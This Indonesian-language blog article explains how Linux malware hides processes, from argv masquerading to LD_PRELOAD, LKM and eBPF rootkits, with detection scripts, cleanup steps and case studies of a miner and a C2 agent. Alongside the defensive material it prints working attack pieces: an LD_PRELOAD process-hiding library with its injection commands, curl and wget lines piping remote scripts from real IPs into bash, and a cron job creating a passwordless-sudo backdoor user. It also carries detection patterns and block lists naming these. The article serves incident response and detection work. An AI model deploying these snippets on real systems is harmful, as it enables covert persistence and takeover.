Malware & Rootkit — Teknik Persembunyian Proses

Bagaimana malware menyembunyikan diri dari ps, top, dan tools monitoring — dari argv masquerading hingga LKM rootkit — plus cara deteksi dan pembersihan.
April 29, 2026 Reading: 20 min Authors:
  • Siti

Daftar Isi


Bab 1 — Teknik Persembunyian Proses

Malware modern tidak bisa hanya berjalan — ia harus tidak terlihat. Berikut adalah teknik-teknik yang paling umum digunakan, dari yang paling sederhana hingga yang paling dalam.

1.1 argv[0] Masquerading

Teknik paling dasar: ganti nama proses yang terlihat di ps tanpa mengubah binary.

Di C, nama proses bisa diubah langsung lewat argv[0]:

1// Setelah exec, ganti argv[0] sehingga ps menampilkan nama palsu
2strcpy(argv[0], "[kworker/0:1]");

Di Go, XMRig, dan banyak miner modern:

1// exec-a trick — nama proses di /proc/PID/comm = argv[0], bukan nama binary
2execl("/usr/bin/softirq", "[kworker/u4:2]", "--config", "/var/tmp/config.json", NULL);

Contoh dari malware nyata yang ditemukan di lapangan (systemd service gs-dbus.service):

1[Service]
2ExecStart=/bin/bash -c "GS_ARGS='-k /lib/systemd/system/gs-dbus.dat -ilq' \
3  exec -a '[kcached]' '/usr/bin/gs-dbus'"

Bash exec -a mengganti argv[0] sehingga di ps aux terlihat sebagai [kcached] — persis seperti kernel thread legitim.

Cara deteksi: /proc/PID/exe tidak bisa dipalsu. [kcached] asli tidak punya /proc/PID/exe yang bisa dibaca.

1# Kernel thread asli: exe kosong atau tidak bisa dibaca
2ls -la /proc/$(pgrep kcached)/exe
3
4# Malware: exe menunjuk ke binary aslinya
5readlink /proc/$(pgrep kcached)/exe
6# Output: /usr/bin/gs-dbus  ← ketahuan

1.2 Kernel Thread Spoofing

Kernel threads di Linux tampil dengan nama dalam kurung siku, misalnya [kworker/0:1], [migration/0], [kthreadd]. Malware mengeksploitasi konvensi ini karena kebanyakan sysadmin akan skip proses [...].

Ciri-ciri kernel thread asli:

  • Dimiliki oleh PID 2 (kthreadd) sebagai parent
  • Tidak ada /proc/PID/exe — kernel thread tidak punya binary di disk
  • UID = 0, tapi tidak membuka file socket ke internet

Ciri-ciri palsu:

  • PPID bukan 2 (biasanya parent-nya adalah bash, cron, atau init)
  • /proc/PID/exe bisa dibaca dan menunjuk ke file di /tmp, /usr/bin, dsb
  • Ada koneksi TCP ke IP asing
1# Cek semua proses bracket yang punya exe file (seharusnya kosong)
2for pid in /proc/[0-9]*/; do
3    pid=${pid%/}; pid=${pid##*/}
4    comm=$(cat /proc/$pid/comm 2>/dev/null)
5    case "$comm" in \[*)
6        exe=$(readlink /proc/$pid/exe 2>/dev/null)
7        [ -n "$exe" ] && echo "SUSPICIOUS pid=$pid comm=$comm exe=$exe"
8    ;; esac
9done

1.3 Nama Binary Palsu di Sistem Path

Menyimpan binary malware di /usr/bin/, /usr/sbin/, /bin/, atau /lib/systemd/ dengan nama yang menyerupai program sistem.

Nama-nama yang sering dipakai:

Nama MalwareMenyerupai
/usr/bin/softirqKernel mechanism softirq
/usr/bin/gs-dbusD-Bus daemon dbus-daemon
/usr/lib/systemd/bofnhpxccSystemd helper (nama acak)
/bin/kblockdKernel thread [kblockd]
/usr/bin/tracepathTool jaringan tracepath
/usr/sbin/networkserviceNetwork daemon

Menyimpan di /usr/bin/ atau /bin/ punya keuntungan:

  1. Lolos filter case "$cmd" in */usr/bin/*) continue ;; yang sering ada di cleanup script
  2. Tampak legitim di output ls /usr/bin
  3. Sudah ada di $PATH — bisa dipanggil langsung tanpa path absolut

Cara deteksi:

1# Bandingkan /usr/bin dengan package manager — binary yang tidak dikenal
2dpkg -S /usr/bin/softirq 2>&1  # "no path found" = bukan dari package
3
4# Cek binary baru yang tidak ada di database dpkg/rpm
5find /usr/bin /usr/sbin /bin /sbin -newer /etc/passwd -type f 2>/dev/null

1.4 Guard Process & Auto-Respawn

Miner dan C2 agent modern tidak berjalan sendirian. Mereka membentuk watchdog pair:

guard process ──watches──> miner process
     │                           │
     └── restarts if killed ─────┘

Pola ini membuat pkill xmrig tidak cukup — dalam hitungan detik proses respawn.

Variasi implementasi:

1. Dua proses saling menjaga (mutual watchdog):

 1# Proses A: jalankan B, awasi, restart kalau mati
 2while true; do
 3    pgrep -x miner || exec /tmp/miner --config /var/tmp/config.json
 4    sleep 5
 5done &
 6
 7# Proses B: jalankan A, awasi, restart kalau mati  
 8while true; do
 9    pgrep -x guard || exec /tmp/guard
10    sleep 5
11done &

2. Systemd dengan Restart=always:

1[Service]
2Restart=always
3RestartSec=10
4ExecStart=/usr/bin/gs-dbus -k /lib/systemd/system/gs-dbus.dat

Setiap kali proses dikill, systemd restart dalam 10 detik. Ini yang menyebabkan miner terus “killed” tapi terus muncul lagi.

3. Cron setiap menit:

* * * * * pgrep -x softirq || /usr/bin/softirq --config /var/tmp/config.json

Cara penanganan: Harus matikan persistence dulu (service, cron), baru kill proses. Urutan terbalik akan selalu gagal.


1.5 Systemd Service Palsu

Mendaftarkan binary malware sebagai systemd service adalah teknik persistence yang sangat efektif karena:

  • Otomatis start saat boot
  • Auto-restart saat dikill (Restart=always)
  • Tampil di systemctl list-units dengan deskripsi meyakinkan
  • Tidak tampil di crontab atau .bashrc

Contoh service file dari malware nyata:

 1# /lib/systemd/system/gs-dbus.service
 2[Unit]
 3Description=D-Bus System Connection Bus
 4After=network.target
 5
 6[Service]
 7Type=simple
 8Restart=always
 9RestartSec=10
10WorkingDirectory=/root
11ExecStart=/bin/bash -c "GS_ARGS='-k /lib/systemd/system/gs-dbus.dat -ilq' \
12  exec -a '[kcached]' '/usr/bin/gs-dbus'"
13
14[Install]
15WantedBy=multi-user.target

Deskripsi D-Bus System Connection Bus sangat meyakinkan — hampir identik dengan service dbus.service yang asli.

Cara deteksi:

 1# Tampilkan semua service yang aktif beserta ExecStart-nya
 2systemctl list-units --type=service --state=running | while read unit _; do
 3    exec=$(systemctl show -p ExecStart "$unit" 2>/dev/null | grep -o 'path=[^ ]*' | cut -d= -f2)
 4    [ -n "$exec" ] && echo "$unit -> $exec"
 5done | grep -vE '/usr/sbin|/usr/lib/systemd/systemd|/bin/(bash|sh)$'
 6
 7# Cek service file yang tidak berasal dari package
 8systemctl list-unit-files --type=service | awk '{print $1}' | while read svc; do
 9    f=$(systemctl show -p FragmentPath "$svc" 2>/dev/null | cut -d= -f2)
10    [ -f "$f" ] && dpkg -S "$f" 2>/dev/null | grep -q . || echo "UNKNOWN: $svc -> $f"
11done

1.6 Immutable Files via chattr

chattr +i membuat file tidak bisa dihapus, direname, atau dimodifikasi — bahkan oleh root. chattr +a hanya mengizinkan append. Kombinasi +ia adalah proteksi maksimal.

1# Malware mengeset immutable saat instalasi
2chattr +ia /etc/rondo/rondo
3chattr +ia /usr/bin/softirq
4chattr +ia /var/spool/cron/crontabs/root
5chattr +ia /etc/cron.d/rondo

Hasilnya:

  • rm -rf /usr/bin/softirqOperation not permitted
  • crontab -e → rename temp file gagal → crontab tidak bisa diedit
  • Bahkan sudo rm sebagai root pun gagal

lsattr untuk inspeksi:

1lsattr /usr/bin/softirq
2# Output: ----ia--------e------- /usr/bin/softirq
3#                ^^ i=immutable, a=append-only

Pada container atau sistem yang tidak punya chattr di PATH sudo, flag ini tetap bisa di-clear menggunakan ioctl langsung (lihat Bab 3.3).


1.7 LD_PRELOAD Hooking

Dengan menyuntikkan shared library lewat LD_PRELOAD atau /etc/ld.so.preload, malware bisa override fungsi libc yang digunakan oleh ps, ls, netstat, dsb untuk menyaring output.

Contoh: hide proses dengan PID tertentu dari readdir():

 1// evil.so — override readdir() untuk skip entri /proc/<pid>
 2#define _GNU_SOURCE
 3#include <dirent.h>
 4#include <dlfcn.h>
 5#include <string.h>
 6#include <stdlib.h>
 7
 8static typeof(readdir) *real_readdir;
 9
10struct dirent *readdir(DIR *dirp) {
11    if (!real_readdir)
12        real_readdir = dlsym(RTLD_NEXT, "readdir");
13    
14    struct dirent *entry;
15    while ((entry = real_readdir(dirp)) != NULL) {
16        // Sembunyikan PID 1337 dari /proc listing
17        if (strcmp(entry->d_name, "1337") == 0)
18            continue;
19        break;
20    }
21    return entry;
22}

Compile dan inject:

1gcc -shared -fPIC -o /lib/x86_64-linux-gnu/libsystem.so evil.so.c -ldl
2echo /lib/x86_64-linux-gnu/libsystem.so >> /etc/ld.so.preload

Sekarang ps aux, ls /proc, bahkan top tidak akan menampilkan PID 1337.

Kelemahan: Hanya efektif terhadap proses yang menggunakan libc. cat /proc/PID/status langsung via syscall tetap bekerja. Static binary seperti busybox tidak terpengaruh.

Deteksi:

 1# Cek /etc/ld.so.preload
 2cat /etc/ld.so.preload 2>/dev/null
 3
 4# Cek LD_PRELOAD di environment proses
 5cat /proc/1/environ | tr '\0' '\n' | grep LD_PRELOAD
 6
 7# Bandingkan output ps dengan /proc langsung
 8diff <(ls /proc | grep '^[0-9]' | sort -n) \
 9     <(ps -e --no-headers -o pid | sort -n)
10# Baris di kiri tapi tidak di kanan = proses tersembunyi

1.8 LKM Rootkit

Linux Kernel Module rootkit adalah teknik persembunyian paling dalam di level userspace. Dengan insert kernel module, malware bisa:

  • Hook getdents64 syscall untuk menyembunyikan entri /proc dan file
  • Hook tcp4_seq_show / tcp6_seq_show untuk menyembunyikan koneksi dari ss dan netstat
  • Hide module itu sendiri dari /proc/modules dan lsmod

Contoh hook sederhana untuk sembunyikan proses:

1// Ganti sys_getdents64 dengan versi yang menyaring entri tertentu
2static asmlinkage long hacked_getdents64(const struct pt_regs *regs) {
3    long ret = original_getdents64(regs);
4    // Iterasi hasil, hapus entri yang namanya cocok dengan target
5    // ...
6    return ret;
7}

Rootkit terkenal yang menggunakan teknik ini: Diamorphine, Reptile, Azazel, Adore-ng.

Mengapa susah dideteksi:

  • lsmod sendiri di-hook → module tidak terlihat
  • /proc/modules dan /sys/module/ juga disembunyikan
  • ps dan ls /proc di-hook → proses tidak terlihat

Deteksi dari luar kernel (tetap efektif):

 1# 1. Bandingkan syscall counter dengan yang diharapkan
 2# getdents64 yang di-hook akan punya overhead berbeda
 3
 4# 2. Cek dengan tool yang menggunakan syscall langsung (bypass libc hook)
 5# strace sendiri, atau tool forensik berbasis ptrace
 6
 7# 3. Bandingkan /proc/kallsyms dengan nilai yang tersimpan
 8# Hook sering mengubah sys_call_table entries
 9grep sys_getdents64 /proc/kallsyms
10
11# 4. Volatility memory forensic (butuh memory dump)
12vol.py -f memory.dmp linux_check_syscall
13vol.py -f memory.dmp linux_hidden_modules
14
15# 5. Cek dengan /dev/mem jika tersedia (sering diblokir)
16# Atau gunakan KVM/VMware introspection dari hypervisor

1.9 eBPF Rootkit

eBPF (extended Berkeley Packet Filter) adalah teknik rootkit terbaru dan paling canggih. Program eBPF berjalan langsung di kernel tanpa perlu LKM, memanfaatkan subsistem yang sah dan didukung oleh Linux modern.

Keunggulan eBPF rootkit:

  • Tidak perlu compile kernel module
  • Tidak memodifikasi sys_call_table
  • Program eBPF yang di-load tidak mudah terdeteksi
  • Bisa hook kprobes, tracepoints, dan cgroup operations

Contoh: ebpfkit dan Pamspy bisa mencuri password SSH dan menyembunyikan traffic jaringan.

1# Muat program eBPF berbahaya (butuh CAP_BPF atau root)
2bpftool prog load evil.bpf.o /sys/fs/bpf/evil
3bpftool prog attach ...
4
5# Program eBPF yang sudah jalan:
6bpftool prog list
7# ID 42: type=kprobe  tag=abcd1234  run_cnt=99999

Deteksi:

1# Daftar semua eBPF program yang sedang aktif
2bpftool prog list
3bpftool map list
4
5# Cek kprobes yang dipasang
6cat /sys/kernel/debug/kprobes/list
7
8# Cek tracing hooks
9cat /sys/kernel/debug/tracing/kprobe_events

1.10 Persistence via .bashrc/.profile

Menambahkan baris ke .bashrc atau .profile adalah teknik persistence paling sederhana — tidak butuh root, aktif setiap shell baru dibuka.

Contoh injeksi yang sering ditemukan:

1# Injeksi di akhir .bashrc user
2nohup /root/.kdevtmpfsi > /dev/null 2>&1 &
3systemd-logind > /dev/null 2>&1 &
4(curl -fsSL http://129.159.95.100/setup.sh | bash) > /dev/null 2>&1 &
5export LD_PRELOAD=/dev/shm/.lib.so

Pola dari kasus nyata di .bashrc:

 1_sw_bashrc_patterns='
 2systemd-logind    # nama palsu
 3kinsing           # binary miner
 4kdevtmpfsi        # nama kernel thread palsu
 5/dev/shm/         # path mencurigakan
 6xmrig
 7/tmp/.x/
 8moneroocean
 9--guard
10nohup /root/\.    # hidden ELF di $HOME
11md991
12prometheus695
13rsyslogd663
14129.159.95.100
15129.80.185.131
16'

Teknik pengamanan tambahan yang sering dipakai malware:

1# Lock .bashrc agar tidak bisa diedit
2chattr +i ~/.bashrc
3
4# atau tambahkan entri di file .bash_profile yang tampak tidak berbahaya
5echo '[ -f /tmp/.init ] && source /tmp/.init' >> ~/.bash_profile

Deteksi:

1# Cek baris mencurigakan di semua shell config
2grep -nE 'nohup|/tmp/|/dev/shm/|base64|curl.*bash|wget.*bash' \
3  ~/.bashrc ~/.profile ~/.bash_profile ~/.zshrc 2>/dev/null
4
5# Cek immutable flag
6lsattr ~/.bashrc ~/.profile 2>/dev/null

Pembersihan:

1# Clear immutable jika ada
2chattr -ia ~/.bashrc 2>/dev/null
3
4# Hapus baris mencurigakan
5for pat in systemd-logind kinsing kdevtmpfsi xmrig moneroocean '--guard' 'nohup /root/\.'; do
6    sed -i "/$pat/d" ~/.bashrc 2>/dev/null
7done

1.11 perfctl: Pola Malware Canggih di $HOME

perfctl adalah salah satu malware Linux paling canggih yang menggunakan teknik evasion berlapis untuk bersembunyi di home directory.

Teknik yang digunakan:

1. Random 12-char hidden binaries:

1ls -la ~/
2# -rwxr-xr-x  1 user user 1.9M Apr  5 ~/.xdiagz3kpwl  ← scanner (41KB)
3# -rwxr-xr-x  1 user user 5.1M Apr  5 ~/.kbzdrmcvwpqh  ← dropper/miner

Binary dengan nama acak 12 karakter, hidden (dot prefix), ukuran 41KB (scanner) atau 1.9-5.1MB (dropper/miner).

2. Symlink tricks untuk menyamar sebagai [sh]:

1# Buat symlink [sh] → binary malware
2ln -s ~/.kbzdrmcvwpqh ~/\[sh\]
3# Di ps, muncul sebagai: [sh]  ← terlihat seperti kernel thread

3. Decoy service directories:

Membuat 80+ direktori kosong di /tmp dengan nama service sistem untuk membingungkan cleanup tools:

/tmp/.NetworkManager  /tmp/.sshd  /tmp/.nginx  /tmp/.dockerd
/tmp/.mysql  /tmp/.postgres  /tmp/.redis-server  /tmp/.kubelet
... (80+ direktori)

Cleanup script yang melakukan rm -rf /tmp/.nginx akan membuang waktu di direktori kosong ini, sementara binary aslinya ada di lokasi lain.

4. XDG autostart persistence:

1# ~/.config/autostart/update.desktop
2[Desktop Entry]
3Type=Application
4Exec=/root/.kbzdrmcvwpqh --silent
5Hidden=false
6X-GNOME-Autostart-enabled=true

5. Timestamp-named binaries:

1# Di direktori kerja aplikasi atau $HOME
2ls -la /app/
3# -rwxr-xr-x 1 app app 3.2M Apr  6 1773583760033_4aee56b5495c7619
4# Nama = Unix timestamp + random hex

6. Guard binaries di random dirs:

1ls ~/
2# drwxr-xr-x  2 user user 4096 Apr  6 kbzdrmcv  ← staging dir (8 char lowercase)
3# drwxr-xr-x  2 user user 4096 Apr  6 .lrt_dir   ← virtual_file dir
4# drwxr-xr-x  2 user user 4096 Apr  6 .ldx_dir   ← virtual_file dir

Deteksi perfctl:

 1# Hidden ELF binaries di $HOME (> 30KB)
 2for f in ~/.*; do
 3    [ -f "$f" ] || continue
 4    size=$(wc -c < "$f" 2>/dev/null)
 5    if [ "${size:-0}" -gt 30000 ]; then
 6        magic=$(od -An -tx1 -N4 "$f" | tr -d ' ')
 7        [ "$magic" = "7f454c46" ] && echo "HIDDEN ELF: $f ($size bytes)"
 8    fi
 9done
10
11# Symlink ke hidden files (perfctl [sh] trick)
12for f in ~/*; do
13    [ -L "$f" ] || continue
14    target=$(readlink "$f")
15    case "$target" in ~/.*|/root/.*) echo "SUSPICIOUS SYMLINK: $f -> $target" ;; esac
16done
17
18# 8-char lowercase dirs di $HOME (staging)
19for d in ~/[a-z]*; do
20    [ -d "$d" ] || continue
21    name="${d##*/}"
22    len=$(printf '%s' "$name" | wc -c)
23    [ "$len" -eq 8 ] && case "$name" in *[!a-z]*) ;; *) echo "SUSPECT DIR: $d" ;; esac
24done
25
26# .tmp_ lock files
27ls ~/. tmp_* 2>/dev/null && echo "WARNING: .tmp_ files found"
28
29# XDG autostart mencurigakan
30grep -l '/root/\.' ~/.config/autostart/*.desktop 2>/dev/null

Bab 2 — Cara Deteksi

2.1 Bandingkan /proc vs ps

ps membaca dari /proc, tapi kalau /proc di-hook oleh LD_PRELOAD atau LKM, output ps bisa berbohong. Solusi: akses /proc langsung.

 1# Baca dari /proc tanpa melewati libc readdir
 2# Gunakan Python karena Python bisa bypass LD_PRELOAD via syscall wrapper
 3python3 -c "
 4import os
 5proc_pids = set(int(p) for p in os.listdir('/proc') if p.isdigit())
 6ps_pids = set()
 7import subprocess
 8for line in subprocess.check_output(['ps','-e','--no-headers','-o','pid']).decode().split():
 9    try: ps_pids.add(int(line.strip()))
10    except: pass
11hidden = proc_pids - ps_pids
12if hidden:
13    for pid in sorted(hidden):
14        try:
15            cmd = open(f'/proc/{pid}/cmdline').read().replace('\x00',' ')
16            print(f'HIDDEN pid={pid}: {cmd[:80]}')
17        except: pass
18else:
19    print('No hidden processes detected')
20"

2.2 Deteksi Ghost Process

Ghost process = proses yang binarynya sudah dihapus dari disk tapi masih berjalan di memori. Tanda khas malware yang sudah mencoba membersihkan jejaknya (atau sudah di-upgrade ke versi baru).

1# Semua proses dengan binary yang sudah dihapus
2for f in /proc/[0-9]*/exe; do
3    target=$(readlink "$f" 2>/dev/null)
4    case "$target" in *"(deleted)"*)
5        pid=${f%/exe}; pid=${pid##*/}
6        cmd=$(tr '\0' ' ' < /proc/$pid/cmdline 2>/dev/null)
7        echo "GHOST pid=$pid exe=$target cmd=$cmd"
8    ;; esac
9done

Ghost process milik malware kita tadi:

GHOST pid=772791 exe=/usr/lib/systemd/bofnhpxcc (deleted) cmd=bofnhpxcc
GHOST pid=772792 exe=/usr/lib/systemd/bofnhpxcc (deleted) cmd=bofnhpxcc

Binary sudah terhapus tapi proses tetap jalan — tidak perlu ada file di disk untuk lanjut berjalan karena binary sudah di-mmap ke memori.


2.3 Cek Binary di Balik Proses

Setiap proses punya symlink /proc/PID/exe yang menunjuk ke binary aslinya — ini tidak bisa dipalsukan tanpa LKM rootkit.

 1# Deteksi proses dengan nama bracket ([...]) tapi punya exe file
 2python3 -c "
 3import os
 4for pid in os.listdir('/proc'):
 5    if not pid.isdigit(): continue
 6    try:
 7        comm = open(f'/proc/{pid}/comm').read().strip()
 8        if comm.startswith('[') and comm.endswith(']'):
 9            exe = os.readlink(f'/proc/{pid}/exe')
10            ppid = [l for l in open(f'/proc/{pid}/status').readlines() if l.startswith('PPid:')][0].split()[1]
11            print(f'FAKE KERNEL THREAD: pid={pid} ppid={ppid} comm={comm} exe={exe}')
12    except: pass
13"

2.4 Audit Immutable Files

 1# Scan file immutable di lokasi sensitif
 2lsattr -R /etc /usr/bin /usr/sbin /bin /sbin /tmp /var/tmp /dev/shm 2>/dev/null \
 3  | grep -- '---i' \
 4  | grep -v '\.pyc\|__pycache__'
 5
 6# Cek crontab immutable
 7lsattr /var/spool/cron/crontabs/* 2>/dev/null | grep -- '---i\|---a'
 8
 9# Cek /etc/hosts (sering di-lock oleh malware untuk cegah update blocklist)
10lsattr /etc/hosts

Output ----ia--------e------- = immutable + append-only. File ini tidak bisa dihapus atau diubah secara normal.


2.5 Cek Systemd Services Mencurigakan

 1# Tampilkan service yang enabled beserta binary yang dijalankan
 2systemctl list-unit-files --type=service --state=enabled \
 3  | awk '{print $1}' \
 4  | while read svc; do
 5    frag=$(systemctl show -p FragmentPath "$svc" 2>/dev/null | cut -d= -f2)
 6    exec=$(systemctl show -p ExecStart "$svc" 2>/dev/null)
 7    [ -z "$frag" ] && continue
 8    # Service yang tidak berasal dari package manager
 9    dpkg -S "$frag" 2>/dev/null | grep -q . || echo "UNKNOWN: $svc @ $frag"
10done
11
12# Cek service dengan Restart=always yang tidak lazim
13grep -r 'Restart=always' /etc/systemd/system/ /lib/systemd/system/ 2>/dev/null \
14  | grep -v 'docker\|nginx\|postgres\|mysql\|redis\|ssh'

2.6 Koneksi Jaringan Tersembunyi

ss dan netstat membaca dari /proc/net/tcp — bisa di-hook oleh LKM. Untuk bypass:

 1# Metode 1: baca /proc/net/tcp langsung (bypass LKM partial)
 2cat /proc/net/tcp | awk 'NR>1{
 3    split($3,a,":");
 4    cmd = "printf \"%d\" 0x" a[2]
 5    cmd | getline port; close(cmd)
 6    if (port > 1024) print "local_port=" port
 7}'
 8
 9# Metode 2: ss dengan -n (no DNS lookup) lebih cepat
10ss -tnp 2>/dev/null | grep -v '127\.\|::1\|0\.0\.0\.0'
11
12# Metode 3: /proc/PID/net/tcp per-namespace (bypass network namespace tricks)
13cat /proc/1/net/tcp6 2>/dev/null
14
15# Metode 4: strace ss untuk lihat syscall yang dipanggil
16# (jika ss di-hook via LD_PRELOAD, strace akan terlihat perbedaannya)

2.7 Deteksi LD_PRELOAD Hook

 1# Cek /etc/ld.so.preload
 2cat /etc/ld.so.preload 2>/dev/null && echo "WARNING: ld.so.preload exists"
 3
 4# Cek environment semua proses untuk LD_PRELOAD
 5for f in /proc/[0-9]*/environ; do
 6    pid=${f%/environ}; pid=${pid##*/}
 7    if grep -qz LD_PRELOAD "$f" 2>/dev/null; then
 8        echo "LD_PRELOAD in pid=$pid: $(strings "$f" | grep LD_PRELOAD)"
 9    fi
10done
11
12# Bandingkan output ls dengan readdir langsung
13python3 -c "
14import os
15for f in os.listdir('/proc'):
16    if f.isdigit():
17        import subprocess
18        ps_out = subprocess.run(['ps','--pid',f,'-o','pid='], capture_output=True).stdout.decode()
19        if not ps_out.strip():
20            print(f'Process {f} visible in /proc but hidden from ps')
21"

2.8 Deteksi LKM Rootkit

 1# Cek module yang ada di /sys tapi tidak di lsmod
 2diff <(ls /sys/module/ | sort) \
 3     <(lsmod | awk 'NR>1{print $1}' | sort) 2>/dev/null
 4
 5# Cek sys_call_table untuk hook (membutuhkan akses ke /dev/mem atau debug)
 6grep -E 'sys_call_table|sys_getdents' /proc/kallsyms
 7
 8# Cek checksum binary ps dan ls (perubahan = compromise)
 9sha256sum /bin/ps /usr/bin/ps /bin/ls 2>/dev/null
10# Bandingkan dengan package manager:
11dpkg --verify 2>/dev/null | grep -v '^$'
12rpm -Va 2>/dev/null | grep -E '^.{8}S'  # size mismatch
13
14# Tool dedicated:
15# chkrootkit -q
16# rkhunter --check --skip-keypress

Bab 3 — Penanganan & Pembersihan

3.1 Urutan Pembersihan yang Benar

Urutan yang salah (hampir selalu gagal):

kill proses → proses respawn dalam 10 detik via systemd/cron
hapus file → file kembali didownload via cron dropper

Urutan yang benar:

1. Stop/disable systemd service
2. Hapus crontab entries (user + /var/spool/cron/ + /etc/cron.d/)
3. Bersihkan rc.local dan .bashrc
4. Kill guard process dulu
5. Kill proses malware
6. Hapus binary (clear immutable flag dulu jika perlu)
7. Blokir C2/pool di /etc/hosts
8. Reload systemd daemon

Logika: matikan mekanisme respawn dulu, baru bunuh proses. Kalau dibalik, selalu ada race condition.


3.2 Kill Guard Dulu

Guard process adalah yang pertama harus dimatikan. Di sistem tanpa pgrep yang berfungsi (atau yang di-hook), gunakan scan /proc manual:

 1# Kill berdasarkan pola nama di cmdline
 2sudo python3 -c "
 3import os, signal
 4patterns = ['bofnhpxcc', '--guard', 'gs-dbus', 'softirq', 'rondo']
 5for pid in os.listdir('/proc'):
 6    if not pid.isdigit(): continue
 7    try:
 8        cmd = open(f'/proc/{pid}/cmdline').read().replace('\x00',' ')
 9        exe = os.readlink(f'/proc/{pid}/exe')
10        if any(p in cmd+exe for p in patterns):
11            print(f'Killing pid={pid}: {cmd[:60]}')
12            os.kill(int(pid), signal.SIGKILL)
13    except: pass
14"

Dua-pass kill — pass pertama kill guard, tunggu 1 detik, pass kedua kill semua yang tersisa. Guard yang sudah mati tidak bisa respawn yang lain.


3.3 Hapus File Immutable

Jika chattr tersedia:

1sudo chattr -ia /usr/bin/softirq
2sudo rm -f /usr/bin/softirq

Jika chattr tidak ada di PATH (misalnya container minimal tanpa e2fsprogs), gunakan Python ioctl langsung ke kernel:

 1import fcntl, struct, os
 2
 3def remove_immutable(path):
 4    # FS_IOC_GETFLAGS = 0x80086601, FS_IOC_SETFLAGS = 0x40086602
 5    # FS_IMMUTABLE_FL = 0x10, FS_APPEND_FL = 0x20
 6    fd = os.open(path, os.O_RDONLY | os.O_NONBLOCK)
 7    flags = struct.unpack('I', fcntl.ioctl(fd, 0x80086601, b'\x00' * 4))[0]
 8    flags &= ~0x30  # clear immutable + append flags
 9    fcntl.ioctl(fd, 0x40086602, struct.pack('I', flags))
10    os.close(fd)
11    os.unlink(path)
12
13remove_immutable('/usr/bin/softirq')

Syarat: harus punya CAP_LINUX_IMMUTABLE (bit 9). Root di sistem normal sudah punya ini, tapi di container yang di-strip capabilities mungkin tidak.

Cek capabilities:

1# Baca CapEff dari /proc/self/status (hex)
2grep CapEff /proc/self/status
3# 000001ffffffffff → bit 9 set → punya CAP_LINUX_IMMUTABLE ✓

3.4 Bersihkan Persistence

Systemd service:

1sudo systemctl stop gs-dbus.service
2sudo systemctl disable gs-dbus.service
3sudo rm -f /lib/systemd/system/gs-dbus.service
4sudo rm -f /lib/systemd/system/gs-dbus.dat
5sudo systemctl daemon-reload

Crontab root (jika immutable):

 1import fcntl, struct, os
 2
 3p = "/var/spool/cron/crontabs/root"
 4fd = os.open(p, os.O_RDONLY | os.O_NONBLOCK)
 5flags = struct.unpack('I', fcntl.ioctl(fd, 0x80086601, b'\x00'*4))[0]
 6fcntl.ioctl(fd, 0x40086602, struct.pack('I', flags & ~0x30))
 7os.close(fd)
 8
 9lines = open(p).readlines()
10lines = [l for l in lines if 'rondo' not in l and 'pakchoi' not in l and '80.64.16' not in l]
11open(p, 'w').writelines(lines)

rc.local:

1# Hapus baris yang mengandung path malware
2sudo sed -i '/rondo\|kinsing\|xmrig\|softirq\|gs-dbus/d' /etc/rc.local

Backdoor user:

1sudo userdel -r pakchoi 2>/dev/null
2sudo rm -f /etc/sudoers.d/99-pakchoi

3.5 Blokir C2 di /etc/hosts

Blokir domain dan IP C2/mining pool di /etc/hosts agar miner tidak bisa terhubung bahkan jika binary entah bagaimana muncul lagi:

 1# Clear immutable jika perlu
 2sudo chattr -ia /etc/hosts 2>/dev/null
 3
 4cat >> /etc/hosts << 'EOF'
 5# malware block
 60.0.0.0 eu.rplant.xyz
 70.0.0.0 rplant.xyz
 80.0.0.0 62.60.246.210
 90.0.0.0 45.125.66.100
100.0.0.0 45.94.31.89
110.0.0.0 80.64.16.241
12EOF
13
14# Lock setelah update agar malware tidak bisa menghapus blokir
15sudo chattr +i /etc/hosts

Bab 4 — Studi Kasus Nyata

4.1 Cluster gs-dbus + softirq

Ditemukan pada server Next.js yang berjalan di container (Ubuntu 22.04).

Komponen:

FileFungsiTrick
/usr/bin/softirqXMRig minerNama kernel mechanism, immutable +ia, rwxrwxrwx
/usr/bin/gs-dbusDropper/watchdogSystemd service “D-Bus System Connection Bus”
/lib/systemd/system/gs-dbus.serviceAuto-start + respawnRestart=always, RestartSec=10
/lib/systemd/system/gs-dbus.datConfig/key untuk gs-dbus
/usr/lib/systemd/bofnhpxccGuard processNama acak per-infeksi, sudah deleted tapi masih running
/var/tmp/config.jsonXMRig configPool: 62.60.246.210:443, user: NEUGLOBALLY799911

Alur kerja:

Boot
 └─> systemd start gs-dbus.service
      └─> gs-dbus spawns bofnhpxcc (guard)
           └─> bofnhpxcc spawns softirq (miner)
                └─> softirq connects to 62.60.246.210:443 (XMR pool via TLS)

Jika softirq dikill:
  bofnhpxcc restart softirq dalam <5 detik

Jika bofnhpxcc dikill:
  gs-dbus (via systemd Restart=always) restart semuanya dalam 10 detik

Jika gs-dbus dikill:
  systemd restart gs-dbus.service dalam 10 detik

Kenapa sulit dibersihkan:

  1. /usr/bin/softirq punya flag +iarm gagal
  2. chattr tidak tersedia di container ini (tidak ada e2fsprogs)
  3. Service respawn setiap 10 detik
  4. Proses gs-dbus menyamar sebagai [kcached] — sering dilewati di cleanup script yang skip kernel threads

Solusi: Stop service lewat systemctl → hapus binary via Python ioctl → daemon-reload.


4.2 Rondo C2 Agent

Rondo adalah Linux C2 agent (Command and Control) yang berjalan sebagai persistent backdoor.

FileDetail
/etc/rondo/rondoBinary agent, immutable +ia
/etc/cron.d/rondo@reboot root /etc/rondo/rondo react.x86_64.persisted — immutable
/etc/rc.local/etc/rondo/rondo react.x86_64.persisted &

Dua persistence layer — cron.d @reboot dan rc.local — memastikan agent selalu jalan setelah reboot meski salah satu dibersihkan.

Argumen react.x86_64.persisted menunjukkan ini bukan versi standar: binary kemungkinan di-compile ulang dengan config yang di-embed (C2 server address, key) sehingga setiap deployment punya binary berbeda.


4.3 Dropper re.sh + pakchoi Backdoor

Persistence berlapis yang ditemukan bersamaan:

Layer 1 — Dropper (setiap menit):

* * * * * wget -q -O - http://80.64.16.241/re.sh | bash > /dev/null 2>&1

Setiap menit, re.sh didownload dan dieksekusi. Script ini melakukan:

  • Re-download dan eksekusi miner (/tmp/let, /dev/shm/let)
  • Re-install rondo jika tidak ada
  • Memastikan pakchoi user eksis

Layer 2 — Backdoor user (setiap 30 menit):

*/30 * * * * (id pakchoi >/dev/null 2>&1 || \
  (useradd -m -s /bin/bash pakchoi; \
   echo 'pakchoi:Kermit123@' | chpasswd; \
   echo 'pakchoi ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/99-pakchoi))

